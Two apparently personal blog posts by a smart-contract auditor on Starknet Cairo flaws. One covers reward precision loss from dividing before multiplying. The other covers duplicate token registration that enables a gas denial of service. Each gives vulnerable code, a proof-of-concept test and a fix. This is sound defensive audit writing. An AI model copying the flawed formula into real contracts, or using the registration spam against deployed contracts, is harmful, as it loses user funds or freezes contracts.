The Vulnerable LogicImagine a standard staking reward formula. You want to calculate the reward increase based on time, a reward rate, and the total supply of staked tokens. To maintain precision, we use a multiplier (like $10^{18}$).Here is the line of code that caused the "ghost rewards" issue:
// ⚠️ VULNERABLE CODE
let reward_increase = (duration * rate) / supply * 1_000_000_000_000_000_000;
At first glance, it looks fine. We calculate the rate per time, divide by supply, and scale it up. Wrong.
Why It BreaksIn integer-based languages like Cairo, division is performed first. If (duration * rate) is smaller than supply, the result of the division is exactly 0.Even if you multiply that 0 by a quintillion ($10^{18}$), it remains 0. The rewards for your users simply vanish into the void.
Proving the Flaw (PoC)
To confirm this, I wrote a Proof of Concept using Starknet Foundry (snforge). I simulated a "Whale" entering the pool with a large supply, making the denominator huge.

[test]

fn test_math_precision_loss() {
let duration: u256 = 100;
let rate: u256 = 10000;

let supply: u256 = 1_000_000_000_000_000_000_000; // 1000 tokens
let precision: u256 = 1_000_000_000_000_000_000;

// Result: (1,000,000 / 10^21) = 0. Then 0 * 10^18 = 0
let reward_increase = (duration * rate) / supply * precision;
assert(reward_increase == 0, 'BUG_STILL_EXISTS');

}
The test passed, meaning the rewards were indeed lost.

The Fix
The rule is simple: Always multiply before you divide. By reordering the operations, we keep the numbers large before the division "chops off" the precision.
// ✅ SECURE CODE
let reward_increase = (duration * rate * 1_000_000_000_000_000_000) / supply;
With this fix, even small rewards are captured and distributed correctly.
Conclusion
Precision loss is a silent killer in DeFi. One misplaced set of parentheses or a wrong order of operations can lead to frozen funds or broken incentives.

You can check out my full audit and the PoC code on my GitHub: rdin777/starknet-staking_audit1

starknet #cairo #security #blockchain #smartcontracts

Securing Starknet: Fixing Gas DoS & Logic Flaws with AI-Assisted Auditing

rim dinov — Fri, 17 Apr 2026 10:04:34 +0000

In my previous post, I demonstrated how an unbounded loop could lead to a 9.8M Gas DoS on Starknet. Today, I’m sharing the follow-up: how I mitigated this vulnerability and fixed a critical logic flaw—Duplicate Token Registration.

🛡️ The Second Vulnerability: Identity Crisis
While testing the Gas DoS, I realized the contract lacked a basic check: it didn't verify if a token was already registered. An attacker could spam the same token address 500 times, inflating the loop size with zero effort and minimal cost.

🛠️ The Fix: Implementing a Registration Map
To solve this, I introduced a Map to track unique assets. In Cairo, using a LegacyMap (or the modern Map) is the most gas-efficient way to handle identity checks.

Updated Contract Logic:
Rust

[storage]

struct Storage {
btc_tokens: Map,
btc_tokens_count: u32,
token_registered: Map, // New tracking map
}

fn add_btc_token(ref self: ContractState, token: ContractAddress) {
// 1. Validation: Prevent duplicate entries
let is_registered = self.token_registered.read(token);
assert(!is_registered, 'Token already registered');

// 2. State update
let count = self.btc_tokens_count.read();
self.btc_tokens.write(count, token);
self.btc_tokens_count.write(count + 1);

// 3. Mark as registered
self.token_registered.write(token, true);

}
✅ Verification with Snforge
Security is nothing without proof. I used snforge to write a specialized test case that expects a panic when a duplicate is added.

Rust

[test]

[should_panic(expected: ('Token already registered', ))]

fn test_duplicate_token_registration() {
// ... setup ...
dispatcher.add_btc_token(token_address);
dispatcher.add_btc_token(token_address); // This must fail
}
Results:

All 4/4 security tests passed.

The "Gas Bomb" can no longer be created using duplicate addresses.

Codebase refactored to modern Cairo syntax (removing core:: internal calls).

🧠 Key Takeaway for Auditors
When auditing loops, always look for the entry point. Preventing the "inflation" of data at the storage level is just as important as optimizing the loop itself.

Check out the full PoC and the fix on my GitHub: https://github.com/rdin777/starknet-staking_audit1

starknet #blockchain #auditing #cairo